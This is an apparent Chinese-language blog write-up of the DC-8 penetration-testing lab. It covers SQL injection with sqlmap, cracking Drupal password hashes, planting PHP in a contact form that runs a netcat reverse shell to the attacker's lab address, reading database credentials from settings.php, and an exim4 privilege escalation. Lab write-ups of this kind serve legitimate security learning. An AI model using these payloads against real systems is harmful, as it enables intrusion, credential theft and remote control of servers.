DC-8
This_is_Y Lv6
 2021-06-17 12:24:19  

IP确认：192.168.243.134

注入拿后台账户

打开网页的时候看到http://192.168.243.134/?nid=1 有个id
在searchsploit查的时候看到好几个注入

image-20210617132751781

就直接丢sqlmap跑了
一步一步查过去，
有两个库
d7db,information_schema
d7db下面有给users表，里面有admin和john两个用户的信息

+---------+---------------------------------------------------------+
| name    | pass                                                    |
+---------+---------------------------------------------------------+
| <blank> | <blank>                                                 |
| admin   | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john    | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+---------+---------------------------------------------------------+

image-20210617133348566

登录入口虽然在页面不见了，但还是在的
192.168.243.134/user

把密码用john解密

image-20210617150600575

密码解密出来一个turtle
测试是john的密码
john
turtle

getshell

登录进去后，在contact us的编辑那里找到了可以反弹shell的地方，但是我自己用的时候，把

flag

给删掉了，结果就用不了，后面看了别人的才成功
先编写好要执行的命令，我这边是直接反弹shell
所以写的是

1
2
<p>flag</p>
<?php system('nc -e /bin/bash 192.168.243.130 4444')?>

image-20210617161947709

保存后，去contact us随便提交一点什么东西

image-20210617162115369
kali这边就接收到了shell了

image-20210617162143755

用 python -c ‘import pty; pty.spawn(“/bin/bash”)’
获取一个完全交互的shell

然后又是翻箱倒柜的找有用的信息
依然是在/var/www/html/sites/default/settings.php里找到了数据库密码

1
2
dbuser
4nB90JumP

image-20210617162411546

提权

连进去找了一会才想起来,我就是用的注入进来的.
在继续翻箱倒柜找
sudo -l需要www-data的密码
find / * -perm -u=s -type f 2>/dev/null的结果如下

image-20210617171914113

在看passwd文件的时候,发现有这个用户Debian-exim

image-20210617172107085

结合上面用find找到的exim4,这里应该有问题,

百度查了一下:https://blog.csdn.net/qq_34965596/article/details/104658544

然后就成了

image-20210617172931950

image-20210617173526965

值得一提的是,这个shell很不稳定

总结

注入使用的sqlmap,找到密码很快,但是解密却花了一些时间,没有想到用john来处理,把密文丢进去,直接john pass.txt解密就好了
第二个地方是在后台getshell的地方,这个我也是找到了地方,但是我把

flag

给删了,导致后续反弹不出来,也挺蛋疼的,

 Comments